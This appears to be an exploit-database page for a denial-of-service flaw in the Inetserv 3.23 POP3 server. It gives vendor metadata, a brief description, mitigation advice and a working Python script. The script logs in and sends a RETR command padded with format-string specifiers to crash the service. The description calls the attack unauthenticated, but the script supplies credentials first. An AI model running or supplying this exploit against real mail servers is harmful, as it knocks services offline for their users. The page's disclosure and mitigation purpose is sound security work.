header-logo
Suggest Exploit
vendor:
Inetserv
by:
dmnt
7.5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Inetserv
Affected Version From: 3.23
Affected Version To: 3.23
Patch Exists: NO
Related CWE:
CPE: a:avtronics:inetserv:3.23
Metasploit:
Other Scripts:
Platforms Tested:
2011

Inetserv 3.23 POP3 DoS

This script exploits a Denial of Service vulnerability in Inetserv version 3.23. By sending a specially crafted buffer in the RETR or DELE command, an attacker can cause the server to crash or become unresponsive. The vulnerability allows an unauthenticated attacker to disrupt the normal operation of the POP3 service.

Mitigation:

Update to a patched version of Inetserv that addresses the vulnerability. Alternatively, restrict access to the POP3 service to trusted IP addresses or implement a firewall to block malicious requests.
Source

Exploit-DB raw data:

#!/usr/bin/python
# Exploit Title: Inetserv 3.23 POP3 DoS
# Date: 1/24/2011
# Author: dmnt (thx G13 for base)
# Software Link: http://www.avtronics.net/inetserv.php
# Version: 3.23
# DoS in RETR and DELE

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "RETR " + "%s" * 40 + "\r\n" # or DELE

s.connect(('127.0.0.1',110))

data=s.recv(1024)
s.send("USER admin\r\n")
data=s.recv(1024)
s.send("PASS 123456\r\n")
data=s.recv(1024)
s.send(buffer)

s.close()

Navigation

Suggest Exploit

Services By CQR